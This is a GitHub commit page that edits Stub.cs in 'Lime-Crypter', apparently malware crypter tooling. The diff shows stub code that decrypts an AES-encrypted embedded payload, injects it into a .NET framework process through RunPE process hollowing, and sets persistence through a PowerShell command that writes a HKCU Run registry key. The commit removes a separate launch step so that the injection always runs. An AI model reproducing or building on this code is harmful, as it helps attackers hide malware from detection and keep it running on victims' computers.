Skip to content

Commit

Permalink
Update Stub.cs
Browse files Browse the repository at this point in the history
  • Loading branch information
Nyrotication committed Aug 17, 2019
1 parent cf0b7ce commit 241e55c
Showing 1 changed file with 2 additions and 15 deletions.
17 changes: 2 additions & 15 deletions Lime-Crypter/Resources/Stub.cs
Original file line number Diff line number Diff line change
Expand Up @@ -91,15 +91,11 @@ public void Run()
CreateDirectory();
InstallFile();
InstallRegistry();
ExecuteFile();
}
catch { }
}
else
{
RunPE.Run(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), "#Injection"), Program.AES_Decrypt(Program.GetResource("#Payload")), false);
Environment.Exit(0);
}
RunPE.Run(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), "#Injection"), Program.AES_Decrypt(Program.GetResource("#Payload")), false);
Environment.Exit(0);
}

/// <summary>
Expand Down Expand Up @@ -158,15 +154,6 @@ public void InstallRegistry()
"New-ItemProperty -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '" + RegistryName + "' -Value '" + Path.Combine(DirectoryName.FullName, FileName.Name) + "' -PropertyType 'String'");
}

/// <summary>
/// final step, run it and exit
/// </summary>
public void ExecuteFile()
{
Powershell("Start-Sleep -Seconds 1; Start-Process -FilePath '" + Path.Combine(DirectoryName.FullName, FileName.Name) + "'");
Environment.Exit(0);
}

public void Powershell(string args)
{
ProcessStartInfo processStart = new ProcessStartInfo()
Expand Down

0 comments on commit 241e55c

Please sign in to comment.